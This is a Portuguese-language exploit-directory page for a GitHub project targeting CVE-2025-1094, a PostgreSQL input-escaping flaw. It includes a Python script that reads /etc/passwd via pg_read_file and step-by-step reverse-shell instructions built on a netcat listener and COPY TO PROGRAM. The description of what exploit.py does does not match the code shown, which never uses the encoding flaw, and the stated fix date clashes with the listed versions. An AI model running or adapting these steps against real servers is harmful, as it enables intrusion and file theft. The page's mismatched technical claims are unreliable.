Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-1094 — É uma falha de sanitização de entrada causada por uma incompatibilidade de codificação, permitindo que entradas elaboradas contornem filtros. Se um servidor for vulnerável, um atacante pode injetar SQL malicioso que o backend executa. | Kitploit
Ferramentas/GitHubGitHub/aninfosec/cve-2025-1094
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsSegurança de Banco de DadosLabs e Prática
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

É uma falha de sanitização de entrada causada por uma incompatibilidade de codificação, permitindo que entradas elaboradas contornem filtros. Se um servidor for vulnerável, um atacante pode injetar SQL malicioso que o backend executa.

12há 1 anoAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

#Escrevi este exploit com referência ao PoC disponível em CVE-2025-1094

CVE‑2025‑1094 | Vulnerabilidade de Sanitização de Entrada do PostgreSQL

Visão Geral

CVE‑2025‑1094 é uma vulnerabilidade de sanitização de entrada nas funções de escape do libpq do PostgreSQL e na ferramenta interativa psql. Ela decorre do tratamento inadequado de codificações multibyte quando a codificação do cliente está definida como BIG5. Sob certas condições, isso pode levar ao tratamento incorreto de caracteres de escape, permitindo que atacantes contornem os limites pretendidos das consultas.

Esta vulnerabilidade foi descoberta pela Rapid7 durante a análise da CVE‑2024‑12356, um problema separado em appliances da BeyondTrust. O comportamento do PostgreSQL foi explorado como parte de uma vulnerabilidade encadeada mais ampla para influenciar ainda mais o comportamento do backend.

Como Funciona

Quando um servidor web ou aplicação passa entrada do usuário diretamente para consultas SQL executadas por meio do psql, e o está definido como , uma entrada especialmente elaborada pode encerrar uma instrução SQL prematuramente e anexar SQL malicioso.

client_encoding
BIG5

Isso permite operações adicionais, como a leitura de arquivos locais (ex.: /etc/passwd) por meio das funções lo_export, pg_read_file ou similares do PostgreSQL.

Esta não é, por padrão, uma vulnerabilidade de execução remota de código (RCE) no PostgreSQL. Em vez disso, é um uso indevido das APIs de cliente do PostgreSQL que, quando filtradas ou escapadas de forma inadequada, podem ser abusadas para vazar conteúdos de arquivos sensíveis ou potencialmente executar SQL perigoso.

Impacto

  • Permite acesso de leitura de arquivos do servidor PostgreSQL se ele estiver configurado de forma insegura.
  • Permite que atacantes com credenciais válidas explorem COPY TO, pg_read_file ou lo_export quando combinados com injeção de SQL em aplicações cliente.
  • Os exploits só são eficazes quando a codificação do cliente é BIG5 e a entrada não é devidamente sanitizada.

Condições Necessárias para Exploração

  • O atacante possui credenciais válidas do PostgreSQL (contexto autenticado) ou acesso a um servidor web que envia entradas diretamente ao servidor PostgreSQL.
  • O SQL do backend é PostgreSQL e usa uma versão vulnerável (anterior às versões corrigidas em junho de 2025).
  • A aplicação passa diretamente entrada não sanitizada para o SQL.
  • O cliente PostgreSQL está configurado com client_encoding=BIG5.

Demonstração do Exploit

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ O Que Este Exploit.py Faz:

Define PGCLIENTENCODING=BIG5 no ambiente (condição de gatilho).

Cria um payload de injeção de SQL para sair de uma consulta e inserir um novo comando COPY TO PROGRAM.

Envia o payload por meio de uma requisição GET ao servidor web vulnerável (/search?q=...).

Se o backend usar psql e entrada não sanitizada, o COPY TO PROGRAM é executado e grava o resultado ou abre um shell.

⚠️ O reverse shell só terá sucesso se o servidor:

root@kitploit:~
Executa SQL usando psql (não drivers de banco de dados parametrizados)

Permite COPY TO PROGRAM (exige superusuário)

Tem conectividade de saída com o atacante

#O script Python envia um payload especialmente elaborado para um servidor web vulnerável que passa a entrada diretamente a um processo psql do PostgreSQL com codificação BIG5: Passos para Usar:

Inicie um listener no terminal:

nc -lvnp 4444

Edite o script do exploit:

Defina TARGET_URL para o IP ou domínio do servidor alvo. Confirme se o ENDPOINT corresponde à rota (ex.: /search). Ajuste REVERSE_IP e REVERSE_PORT para corresponder à sua máquina de ataque.

Execute o script em um Terminal Diferente :

python3 exploit.py

Resultado: Se for bem-sucedido, você receberá uma conexão no seu listener. Caso contrário, tente ler arquivos (ex.: /etc/passwd) usando payloads de pg_read_file.

Ambiente de Laboratório

Para testar isto:

  • PostgreSQL 14.x (ou versões vulneráveis anteriores).
  • Inicializado com codificação EUC_TW ou similar.
  • A camada de aplicação (ex.: Flask) interage com o PostgreSQL usando psql ou SQL dinâmico sem escape.
  • O usuário do PostgreSQL deve ter acesso a funções como pg_read_file ou lo_export.

Mitigações

  • Atualize para versões corrigidas do PostgreSQL (≥ 17.3, 16.7, 15.11, 14.16, 13.19).
  • Evite client_encoding=BIG5 a menos que seja explicitamente necessário.
  • Nunca passe entrada bruta do usuário para contextos de execução de SQL.
  • Use prepared statements e bibliotecas de validação de entrada.

Referências

  • Blog da Rapid7: Análise Técnica
  • Aviso do PostgreSQL: Lançamento de Segurança de Junho de 2025
  • Detalhes da CVE: CVE-2025-1094
Baixar ferramenta